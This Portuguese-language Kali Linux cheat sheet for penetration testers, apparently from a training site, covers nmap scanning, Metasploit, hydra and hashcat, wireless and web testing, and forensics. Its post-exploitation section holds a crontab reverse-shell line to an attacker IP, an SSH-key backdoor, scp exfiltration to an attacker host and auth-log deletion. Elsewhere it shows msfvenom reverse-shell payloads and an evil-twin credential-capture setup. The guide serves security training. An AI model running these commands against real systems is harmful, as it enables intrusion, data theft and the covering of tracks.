Folha de consulta de comandos Kali

Baixar PDF

Pratique comandos Kali com laboratórios práticos

Use esta folha de consulta de comandos Kali como referência rápida para fluxos de teste de penetração. Ela cobre configuração do sistema, varredura de rede, enumeração, avaliação de vulnerabilidades, Metasploit, SQLmap, ataques de senha, testes web, ferramentas wireless, forense, relatórios e auditoria responsável.

Configuração e Configuração do Sistema

Configuração Inicial: sudo apt update

Atualiza pacotes e repositórios do sistema para desempenho ideal.

# Atualizar repositório de pacotes
sudo apt update
# Atualizar pacotes instalados
sudo apt upgrade
# Atualização completa do sistema
sudo apt full-upgrade
# Instalar ferramentas essenciais
sudo apt install curl wget git

Gerenciamento de Usuários: sudo useradd

Cria e gerencia contas de usuário para testes de segurança.

# Adicionar novo usuário
sudo useradd -m username
# Definir senha
sudo passwd username
# Adicionar usuário ao grupo sudo
sudo usermod -aG sudo username
# Mudar para o usuário
su - username

Gerenciamento de Serviços: systemctl

Controla serviços e daemons do sistema para cenários de teste.

# Iniciar serviço
sudo systemctl start apache2
# Parar serviço
sudo systemctl stop apache2
# Habilitar serviço na inicialização
sudo systemctl enable ssh
# Verificar status do serviço
sudo systemctl status postgresql

Configuração de Rede: ifconfig

Configura interfaces de rede para testes de penetração.

# Exibir interfaces de rede
ifconfig
# Configurar endereço IP
sudo ifconfig eth0 192.168.1.100
# Ligar/desligar interface
sudo ifconfig eth0 up
# Configurar interface sem fio
sudo ifconfig wlan0 up

Variáveis de Ambiente: export

Configura variáveis de ambiente e caminhos para testes.

# Definir IP alvo
export TARGET=192.168.1.1
# Definir caminho da wordlist
export WORDLIST=/usr/share/wordlists/rockyou.txt
# Visualizar variáveis de ambiente
env | grep TARGET
Quiz

Faça login para responder este quiz e acompanhar seu progresso de aprendizagem

O que acontece com as variáveis de ambiente definidas com export?
Elas persistem após reinicializações do sistema
Elas estão disponíveis apenas no arquivo atual
Elas estão disponíveis para o shell atual e processos filhos
Elas são variáveis globais do sistema

Instalação de Ferramentas: apt install

Instala ferramentas de segurança adicionais e dependências.

# Instalar ferramentas adicionais
sudo apt install nmap wireshark burpsuite
# Instalar do GitHub
git clone https://github.com/tool/repo.git
# Instalar ferramentas Python
pip3 install --user tool-name

Descoberta e Varredura de Rede

Descoberta de Hosts: nmap -sn

Identifica hosts ativos na rede usando varreduras ping.

# Varredura ping
nmap -sn 192.168.1.0/24
# Varredura ARP (rede local)
nmap -PR 192.168.1.0/24
# Varredura de eco ICMP
nmap -PE 192.168.1.0/24
# Descoberta rápida de hosts
masscan --ping 192.168.1.0/24

Varredura de Portas: nmap

Varre portas abertas e serviços em execução em sistemas alvo.

# Varredura TCP básica
nmap 192.168.1.1
# Varredura agressiva
nmap -A 192.168.1.1
# Varredura UDP
nmap -sU 192.168.1.1
# Varredura SYN furtiva
nmap -sS 192.168.1.1
Quiz

Faça login para responder este quiz e acompanhar seu progresso de aprendizagem

O que o nmap -sS faz?
Realiza uma varredura UDP
Realiza uma varredura SYN furtiva (varredura meio aberta)
Varre todas as portas
Realiza detecção de SO

Enumeração de Serviços: nmap -sV

Identifica versões de serviços e vulnerabilidades potenciais.

# Detecção de versão
nmap -sV 192.168.1.1
# Detecção de SO
nmap -O 192.168.1.1
Quiz

Faça login para responder este quiz e acompanhar seu progresso de aprendizagem

O que o nmap -sV faz?
Detecta as versões de serviço em execução nas portas abertas
Varre apenas portas de controle de versão
Mostra apenas serviços vulneráveis
Realiza apenas detecção de SO
# Varredura de scripts nmap -sC 192.168.1.1 # Varredura abrangente nmap -sS -sV -O -A 192.168.1.1 ```

Coleta de Informações e Reconhecimento

Enumeração DNS: dig

Coleta informações de DNS e realiza transferências de zona.

# Consulta DNS básica
dig example.com
# Consulta DNS reversa
dig -x 192.168.1.1
# Tentativa de transferência de zona
dig @ns1.example.com example.com axfr
# Enumeração DNS
dnsrecon -d example.com

Reconhecimento Web: dirb

Descobre diretórios e arquivos ocultos em servidores web.

# Força bruta de diretórios
dirb http://192.168.1.1
# Wordlist personalizada
dirb http://192.168.1.1 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Alternativa Gobuster
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Informações WHOIS: whois

Coleta informações de registro de domínio e propriedade.

# Consulta WHOIS
whois example.com
# WHOIS de IP
whois 8.8.8.8
# Coleta abrangente de informações
theharvester -d example.com -l 100 -b google

Análise SSL/TLS: sslscan

Analisa a configuração e vulnerabilidades SSL/TLS.

# Varredura SSL
sslscan 192.168.1.1:443
# Análise abrangente com testssl
testssl.sh https://example.com
# Informações do certificado SSL
openssl s_client -connect example.com:443

Enumeração SMB: enum4linux

Enumera compartilhamentos SMB e informações NetBIOS.

# Enumeração SMB
enum4linux 192.168.1.1
# Listar compartilhamentos SMB
smbclient -L //192.168.1.1
# Conectar ao compartilhamento
smbclient //192.168.1.1/share
# Varredura de vulnerabilidade SMB
nmap --script smb-vuln* 192.168.1.1

Enumeração SNMP: snmpwalk

Coleta informações do sistema via protocolo SNMP.

# SNMP walk
snmpwalk -c public -v1 192.168.1.1
# Verificação SNMP
onesixtyone -c community.txt 192.168.1.1
# Enumeração SNMP
snmp-check 192.168.1.1

Análise de Vulnerabilidades e Exploração

Varredura de Vulnerabilidades: nessus

Identifica vulnerabilidades de segurança usando scanners automatizados.

# Iniciar serviço Nessus
sudo systemctl start nessusd
# Iniciar varredura OpenVAS
openvas-start
# Scanner de vulnerabilidades web Nikto
nikto -h http://192.168.1.1
# SQLmap para injeção SQL
sqlmap -u "http://example.com/page.php?id=1"

Metasploit Framework: msfconsole

Inicia exploits e gerencia campanhas de testes de penetração.

# Iniciar Metasploit
msfconsole
# Procurar exploits
search ms17-010
# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
# Definir alvo
set RHOSTS 192.168.1.1

Teste de Overflow de Buffer: pattern_create

Gera padrões para exploração de overflow de buffer.

# Criar padrão
pattern_create.rb -l 400
# Encontrar offset
pattern_offset.rb -l 400 -q EIP_value

Desenvolvimento de Exploit Personalizado: msfvenom

Cria payloads personalizados para alvos específicos.

# Gerar shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# Shell reverso do Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
# Shell reverso Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf

Ataques de Senha e Teste de Credenciais

Ataques de Força Bruta: hydra

Executa ataques de força bruta de login contra vários serviços.

# Força bruta SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# Força bruta de formulário HTTP
hydra -l admin -P passwords.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Invalid"
# Força bruta FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.1

Quebra de Hash: hashcat

Quebra hashes de senha usando aceleração de GPU.

# Quebra de hash MD5
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Quebra de hash NTLM
hashcat -m 1000 -a 0 ntlm.hash wordlist.txt
# Gerar variações de wordlist
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule wordlist.txt

John the Ripper: john

Quebra de senha tradicional com vários modos de ataque.

# Quebrar arquivo de senha
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
# Mostrar senhas quebradas
john --show shadow.txt
# Modo incremental
john --incremental shadow.txt
# Regras personalizadas
john --rules --wordlist=passwords.txt shadow.txt

Geração de Wordlist: crunch

Cria wordlists personalizadas para ataques direcionados.

# Gerar wordlist de 4 a 8 caracteres
crunch 4 8 -o wordlist.txt
# Conjunto de caracteres personalizado
crunch 6 6 -t admin@ -o passwords.txt
# Geração baseada em padrão
crunch 8 8 -t @@@@%%%% -o mixed.txt

Testes de Segurança de Rede Sem Fio

Configuração do Modo Monitor: airmon-ng

Configura o adaptador sem fio para captura de pacotes e injeção.

# Habilitar modo monitor
sudo airmon-ng start wlan0
# Verificar processos interferentes
sudo airmon-ng check kill
# Parar modo monitor
sudo airmon-ng stop wlan0mon

Descoberta de Rede: airodump-ng

Descobre e monitora redes sem fio e clientes.

# Varredura de todas as redes
sudo airodump-ng wlan0mon
# Alvo de rede específica
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Mostrar apenas redes WEP
sudo airodump-ng --encrypt WEP wlan0mon

Ataques WPA/WPA2: aircrack-ng

Executa ataques contra redes criptografadas WPA/WPA2.

# Ataque de desautenticação
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Quebrar handshake capturado
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# Ataque WPS com Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

Ataque de Gêmeo Maligno: hostapd

Cria pontos de acesso falsos para colheita de credenciais.

# Iniciar AP falso
sudo hostapd hostapd.conf
# Serviço DHCP
sudo dnsmasq -C dnsmasq.conf
# Capturar credenciais
ettercap -T -M arp:remote /192.168.1.0/24//

Testes de Segurança de Aplicações Web

Teste de Injeção SQL: sqlmap

Detecção e exploração automatizadas de injeção SQL.

# Teste básico de injeção SQL
sqlmap -u "http://example.com/page.php?id=1"
# Testar parâmetros POST
sqlmap -u "http://example.com/login.php" --data="username=admin&password=test"
# Extrair banco de dados
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Despejar tabela específica
sqlmap -u "http://example.com/page.php?id=1" -D database -T users --dump

Cross-Site Scripting: xsser

Testa vulnerabilidades XSS em aplicações web.

# Teste XSS
xsser --url "http://example.com/search.php?q=XSS"
# Detecção automatizada de XSS
xsser -u "http://example.com" --crawl=10
# Payload personalizado
xsser --url "http://example.com" --payload="<script>alert(1)</script>"

Integração Burp Suite: burpsuite

Plataforma abrangente de testes de segurança de aplicações web.

# Iniciar Burp Suite
burpsuite
# Configurar proxy (127.0.0.1:8080)
# Configurar o proxy do navegador para capturar tráfego
# Usar Intruder para ataques automatizados
# Usar Spider para descoberta de conteúdo

Travessia de Diretório: wfuzz

Testa vulnerabilidades de travessia de diretório e inclusão de arquivos.

# Fuzzing de diretório
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ
# Fuzzing de parâmetro
wfuzz -c -z file,payloads.txt "http://example.com/page.php?file=FUZZ"

Pós-Exploração e Escalada de Privilégios

Enumeração do Sistema: linpeas

Enumeração automatizada de escalada de privilégios para sistemas Linux.

# Baixar LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# Tornar executável
chmod +x linpeas.sh
# Executar enumeração
./linpeas.sh
# Alternativa Windows: winPEAS.exe

Mecanismos de Persistência: crontab

Estabelece persistência em sistemas comprometidos.

# Editar crontab
crontab -e
# Adicionar shell reverso
@reboot /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
# Persistência de chave SSH
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

Exfiltração de Dados: scp

Transfere dados com segurança de sistemas comprometidos.

# Copiar arquivo para máquina atacante
scp file.txt user@192.168.1.100:/tmp/
# Comprimir e transferir
tar -czf data.tar.gz /home/user/documents
scp data.tar.gz attacker@192.168.1.100:/tmp/
# Exfiltração via HTTP
python3 -m http.server 8000

Cobrindo Rastros: history

Remove evidências de atividades em sistemas comprometidos.

# Limpar histórico bash
history -c
unset HISTFILE
# Limpar entradas específicas
history -d line_number
# Limpar logs do sistema
sudo rm /var/log/auth.log*

Forense Digital e Análise

Imagem de Disco: dd

Cria imagens forenses de dispositivos de armazenamento.

# Criar imagem de disco
sudo dd if=/dev/sdb of=/tmp/evidence.img bs=4096 conv=noerror,sync
# Verificar integridade da imagem
md5sum /dev/sdb > original.md5
md5sum /tmp/evidence.img > image.md5
# Montar imagem
sudo mkdir /mnt/evidence
sudo mount -o ro,loop /tmp/evidence.img /mnt/evidence

Recuperação de Arquivos: foremost

Recupera arquivos excluídos de imagens de disco ou unidades.

# Recuperar arquivos da imagem
foremost -i evidence.img -o recovered/
# Tipos de arquivo específicos
foremost -t jpg,png,pdf -i evidence.img -o photos/
# Alternativa PhotoRec
photorec evidence.img

Análise de Memória: volatility

Analisa despejos de RAM em busca de evidências forenses.

# Identificar perfil do SO
volatility -f memory.dump imageinfo
# Listar processos
volatility -f memory.dump --profile=Win7SP1x64 pslist
# Extrair processo
volatility -f memory.dump --profile=Win7SP1x64 procdump -p 1234 -D output/

Análise de Pacotes de Rede: wireshark

Analisa capturas de tráfego de rede em busca de evidências forenses.

# Iniciar Wireshark
wireshark
# Análise na linha de comando
tshark -r capture.pcap -Y "http.request.method==GET"
# Extrair arquivos
foremost -i capture.pcap -o extracted/

Geração de Relatórios e Documentação

Captura de Tela: gnome-screenshot

Documenta descobertas com captura de tela sistemática.

# Captura de tela cheia
gnome-screenshot -f screenshot.png
# Captura de janela
gnome-screenshot -w -f window.png
# Captura com atraso
gnome-screenshot -d 5 -f delayed.png
# Seleção de área
gnome-screenshot -a -f area.png

Gerenciamento de Logs: script

Grava sessões de terminal para fins de documentação.

# Iniciar gravação de sessão
script session.log
# Gravar com temporização
script -T session.time session.log
# Reproduzir sessão
scriptreplay session.time session.log

Modelos de Relatório: reportlab

Gera relatórios profissionais de testes de penetração.

# Instalar ferramentas de relatório
pip3 install reportlab
# Gerar relatório PDF
python3 generate_report.py
# Markdown para PDF
pandoc report.md -o report.pdf

Integridade de Evidências: sha256sum

Mantém a cadeia de custódia com hashes criptográficos.

# Gerar checksums
sha256sum evidence.img > evidence.sha256
# Verificar integridade
sha256sum -c evidence.sha256
# Checksums de múltiplos arquivos
find /evidence -type f -exec sha256sum {} \; > all_files.sha256

Manutenção e Otimização do Sistema

Gerenciamento de Pacotes: apt

Mantém e atualiza pacotes do sistema e ferramentas de segurança.

# Atualizar listas de pacotes
sudo apt update
# Atualizar todos os pacotes
sudo apt upgrade
# Instalar ferramenta específica
sudo apt install tool-name
# Remover pacotes não utilizados
sudo apt autoremove

Atualizações de Kernel: uname

Monitora e atualiza o kernel do sistema para patches de segurança.

# Verificar kernel atual
uname -r
# Listar kernels disponíveis
apt list --upgradable | grep linux-image
# Instalar novo kernel
sudo apt install linux-image-generic
# Remover kernels antigos
sudo apt autoremove --purge

Verificação de Ferramentas: which

Verifica instalações de ferramentas e localiza executáveis.

# Localizar ferramenta
which nmap
# Verificar se a ferramenta existe
command -v metasploit
# Listar todas as ferramentas no diretório
ls /usr/bin/ | grep -i security

Monitoramento de Recursos: htop

Monitora recursos do sistema durante testes de segurança intensivos.

# Visualizador de processos interativo
htop
# Uso de memória
free -h
# Uso de disco
df -h
# Conexões de rede
netstat -tulnp

Atalhos e Aliases Essenciais do Kali Linux

Criar Aliases: .bashrc

Configura atalhos de comando para economizar tempo em tarefas frequentes.

# Editar bashrc
nano ~/.bashrc
# Adicionar aliases úteis
alias ll='ls -la'
alias nse='nmap --script-help'
alias target='export TARGET='
alias msf='msfconsole -q'
# Recarregar bashrc
source ~/.bashrc

Funções Personalizadas: function

Cria combinações de comandos avançadas para fluxos de trabalho comuns.

# Função de varredura nmap rápida
function qscan() {
    nmap -sS -sV -O $1
}
# Configuração de engajamento de pentest
function pentest-setup() {
    mkdir -p {recon,scans,exploits,loot}
}

Atalhos de Teclado: Terminal

Domine atalhos de teclado essenciais para navegação mais rápida.

# Atalhos do terminal
# Ctrl+C - Interromper comando atual
# Ctrl+Z - Suspender comando atual
# Ctrl+L - Limpar tela
# Ctrl+R - Pesquisar histórico de comandos
# Tab - Auto-completar comandos
# Seta para Cima/Baixo - Navegar no histórico de comandos

Configuração de Ambiente: tmux

Configura sessões de terminal persistentes para tarefas de longa duração.

# Iniciar nova sessão
tmux new-session -s pentest
# Desanexar sessão
# Ctrl+B, D
# Listar sessões
tmux list-sessions
# Anexar à sessão
tmux attach -t pentest
Página anteriorCybersecurityPróxima páginaDatabase